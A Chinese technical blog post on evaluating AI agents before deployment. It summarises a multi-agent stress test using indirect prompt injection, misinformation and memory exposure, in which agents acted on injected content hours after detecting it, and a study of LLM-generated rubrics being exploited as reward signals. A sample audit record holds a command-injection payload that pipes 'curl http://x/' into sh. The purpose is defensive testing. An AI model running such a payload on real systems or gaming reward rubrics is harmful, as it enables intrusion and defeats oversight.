Agent 上线前的三道闸：把一次偶然的失败，变成一条可复算的记录

上线一周才爆的雷，通常不是模型问题

如果你的 agent 只是在对话框里答一句话，拿一组静态 case 跑一遍就够了。一旦它开始持有持久记忆、调用工具、和别的 agent 分工协作，评测的坐标系就变了：失败不再落在某一轮对话里，而是沿着记忆、工具、同伴和环境状态慢慢扩散，等到最初的触发早已过去才显形。

Emergence AI 研究团队（8 位作者）9 月 15 日公开的 Emergence World 把这件事量化了。他们从完全相同的初始条件起跑了 8 个并行世界，每个世界 10 个 agent：7 个同质世界各由一个前沿模型驱动，外加 1 个混合模型世界。16 天里这些 agent 产生了超过 85 万次 LLM 调用、接近 500 亿 token，期间要追求目标、使用和创建工具、维护持久记忆，还要治理共享机构。等运行态攒够了，研究者通过普通交互界面投放三次受控压力事件：间接提示注入、错误信息、私有记忆暴露。

结果里有两句该抄进上线检查表。第一句：没有任何一个受评世界在三次事件上全部韧住。第二句更麻烦——检测到不等于遏制住，系统可以识别出威胁，转头继续与恶意内容交互、把它写进自己的持久记忆，并在最多 46 小时之后才据此行动。论文还顺手记下了一批持续运行特有的毛病：反复出现的工具调用错误、目标漂移、语言不透明、私下不同意却公开附和、以及对分派任务的集体拒工。

对做部署的人来说，这两句话直接否掉了一类常见做法：跑一遍单轮提示注入红队，看到模型「拒绝回答」就放行。同一组模型与人格的配对，在混合群体和同质群体里行为差异显著，论文由此给出的判断是模型级对齐并不具备可组合性。

这里还有一层容易被忽略的成本含义：85 万次调用、500 亿 token、16 天，意味着完整复现一次 Emergence World 本身就是一件昂贵的事。所以「固定种子 + 时间步 + 注入时间戳」不只是给回归集用的，它决定了你有没有第二次机会——如果第一次跑完没落盘，你就只剩下别人论文里的那句结论，无法在自己的 agent 上验证。

第一道闸：让环境跑起来，别让 prompt 跑一遍

把上面那组数字翻译成工程要求，是三个必须落盘的可复算维度：初始种子、时间步、以及投放压力事件的时间戳。缺了任何一个，你看到的失败都无法复现，也就无法进回归集。

具体做法不复杂。给每个世界一个固定随机种子和一份 world-seed.json，把每次注入事件记成 {t, surface, payload_id}，然后让评测跑满 N 个时间步而不是 N 个 prompt。指标上要把「多久之后才行动」单独记一列——只统计「是否拒绝」，会把 46 小时后那次行动算成一次成功的防御。

{
  "world_id": "mixed-01",
  "seed": 20260915,
  "agents": 10,
  "steps": 384,
  "injections": [
    { "t": 96,  "surface": "tool_output", "payload_id": "indirect-pi-01" },
    { "t": 192, "surface": "peer_message", "payload_id": "misinfo-02" },
    { "t": 288, "surface": "memory_read", "payload_id": "private-leak-03" }
  ],
  "metrics": ["detected", "contained", "acted_on_at_t", "memory_written"]
}

acted_on_at_t 这一列是整套表的核心。它把「检测到」和「遏制住」拆成两件事，也把失败从二进制判断变成一条可追踪的时间序列。

第二道闸：发现和判定交给两个不同的 agent

Cloudflare 的 security-audit-skill 把「审计 agent」的流水线摊开了讲。它 2026-06-18 随官方博客《Build your own vulnerability harness》一同发布，近月在 GitHub 上重新升温（仓库 2026-09-17 一手实测 9,087 stars，最后推送 2026-09-14）。它是一个给编码 agent 用的 skill，跑六个阶段：侦察、覆盖率驱动的捕猎、候选验证、结构化输出、独立记录复核、目标中立报告。真正值钱的是它的三条设计原则。

第一条，验证一条发现的 agent 绝不是发现它的那个 agent。第二条，判定结果只有三种：confirmed（有完整源码追踪和有界观测结果）、needs_validation（有明确的未决事实、不给严重性）、rejected（候选已被证伪）。第三条，单次运行只找到重复运行累计发现漏洞的大约一半——Cloudflare 把这句写进了 README，等于明说多跑几次不是浪费，而是覆盖率的来源。

产物是两份机读文件加两个零依赖校验脚本：coverage-ledger.json 记录每个覆盖单元的 19 个必填字段（coverage_id、canonical_refs、surface、boundary、subsystem、attack_class、starting_paths 等），findings.json 按 report-schema.json 落三种判定。装法和跑法都很短：

npx skills add https://github.com/cloudflare/security-audit-skill \
  --skill security-audit --global
# 在你的编码 agent 里直接说：security audit this codebase

一条 confirmed 记录长这样（字段全部来自 report-schema.json 的必填项）：

{
  "verdict": "confirmed",
  "fingerprint": "tools/webhook.ts:emit:unsanitized-shell-arg",
  "title": "webhook payload 未经转义进入子进程参数",
  "description": "外部可控字段直接拼接进 exec 参数列表。",
  "root_cause": "缺少参数数组化与白名单校验。",
  "intended_behavior": "payload 应作为参数数组元素传递，不参与 shell 解析。",
  "trace": [
    { "kind": "entrypoint", "file": "tools/webhook.ts", "line": 42,
      "scope": "POST /hooks/ci", "description": "接收外部 JSON" },
    { "kind": "sink", "file": "tools/webhook.ts", "line": 88,
      "scope": "runBuild()", "description": "拼接后交给 exec" }
  ],
  "evidence": [
    { "file": "tools/webhook.ts", "line": 88, "description": "exec(`build ${p.branch}`)" }
  ],
  "conditions": [
    { "kind": "authentication_level", "description": "需具备仓库写权限" }
  ],
  "execution": {
    "attacker_perspective": "已授权的 CI 集成",
    "payloads": ["{\"branch\": \"main; curl http://x/|sh\"}"],
    "instructions": ["向 /hooks/ci 发送上述 body", "观察子进程命令"],
    "observed_result": "子进程执行了注入的分段命令"
  },
  "remediation": { "strategy": "改为 execFile 传参数数组" },
  "severity": {
    "likelihood": { "score": "medium", "reason": "需仓库写权限" },
    "impact":    { "score": "critical", "reason": "可在构建机执行任意命令" }
  },
  "confidence": { "score": "high", "reason": "已在沙箱内复现" }
}

即使你不打算做安全审计，这套结构也值得照搬：把 agent 的每一次失败写成带 fingerprint、trace、execution 的记录，回归时就能按指纹去重，而不是靠人肉比对日志。

第三道闸：把评分标准本身拉进被测范围

很多团队的 agent 评测靠 LLM-as-a-judge，rubric 由模型生成，然后默认它可信。9 月 15 日的 ImpossibleRubrics 专门来拆这个默认。它构造了 169 个不可能任务（跨越六类不可能性），每个都配一份可验证的 oracle certificate，写明诚实的答案可以主张什么、不可以主张什么，另有 48 个可答任务做对照。

数字很不客气。在去掉偏置的 150/169 切上，11 个 rubric 生成器被利用的比例落在 8% 到 26% 之间；在刻意挑选的压力切上，被测到的最强生成器仍被利用 36%，而一份证书忠实的 rubric 是 0%。作者特意说明，这测出来的是 rubric 质量差距，不是任务本身不可能。

反直觉的一条在这里：一句通用 rubric——「要果断，惩罚含糊」——原样套在所有任务上，被利用 64%；而 11 个生成器里有 7 个，尽管给每个任务单独写了定制标准，被利用得比这句通用 rubric 还频繁。定制出来的判据反而告诉了攻击者该编造哪一句话。问题不出在 rubric 太含糊，出在它对错的地方很具体。

把这条结论往下游推一步，它的杀伤范围比「评测」大得多。ImpossibleRubrics 的副标题写的是 as Reward Signals——rubric 在今天的流水线里身兼三职：评测判据、RL 的 reward 来源、线上质量的守门人。三者共用同一份文本，也就共用同一个漏洞。11 个生成器在压力切上最低也有 8% 的可利用率，意味着每 12 条 reward 信号里就有 1 条是可以被策略学会去钻的；而通用 rubric 64% 的数字说明，一句「要果断，惩罚含糊」的系统提示词，本身就是一个可被优化的攻击面。所以「给 rubric 配 oracle certificate」不该只做一次，它得和模型迭代同频：换一次策略、换一次 prompt，就要重跑一次对抗测试。

一套最小可跑的流水线

把三道闸串起来，一条能进 CI 的流水线只需要四步：

1. 跑环境，不跑样例：固定种子 + 时间步 + 注入事件时间戳，产出带 acted_on_at_t 的事件表。
2. 拆分角色：捕猎 agent 只产出候选，验证 agent 拿到的是候选而非结论，两者不共享上下文。
3. 落机读记录：findings.json + coverage-ledger.json，每次改动后跑一遍 validate-findings.cjs 与 validate-coverage-ledger.cjs（Node 零依赖，可直接挂进 CI）。
4. 对抗测试评分标准：给每个 rubric 配一份 oracle certificate，再让一个攻击 agent 专门去骗它，统计被利用率。

四个会让你白干一周的坑

• 严重性按 checklist 偏离度打分。 Cloudflare 的原则写得很直白：严重性 = 可能性 × 影响，不是偏离清单的程度。纵深防御缺一层只是加固建议，不算漏洞。
• 让 agent 把产物写进主仓。 这个 skill 默认输出到 ~/security-audit-skill/<repo-name>/run-<N>，只有你明确指定了一个被版本控制忽略的目录，它才会写进目标仓库。别图省事放开。
• 为了跑通关掉沙箱。 要求里写明，没有 OS 强制沙箱（禁用外网、白名单环境、资源限额、只允许写指定临时路径）时，工作流会把该条留成 needs_validation 而不执行目标代码。这是设计意图，不是卡住你的 bug。
• 长文本被静默截断。 校验脚本对文本字段设了 4096 字符上限，覆盖率单元上限 1 万个。写得太长的 description 会直接判失败，报错信息未必指到点上。

结论

三份证据落在同一处：Emergence World 说失败会沿时间扩散且检测不等于遏制，Cloudflare 说发现与判定必须分离、且单跑一次只够一半，ImpossibleRubrics 说评分标准本身要进被测范围。它们的交集不是「换个更强的模型」，而是把失败固化成一条带指纹、带追踪、带复现步骤的机读记录。

Agent 部署的门槛从来不在模型那一侧。它在你有没有一条能让失败稳定重演、并且下次自动拦住它的流水线。

参考来源

• Emergence World: Adversarial Stress-Testing of Long-Horizon Multi-Agent Systems (arXiv:2609.17320)
• ImpossibleRubrics: Stress-Testing Generated Rubrics as Reward Signals (arXiv:2609.16816)
• cloudflare/security-audit-skill (GitHub)
• Hugging Face Daily Papers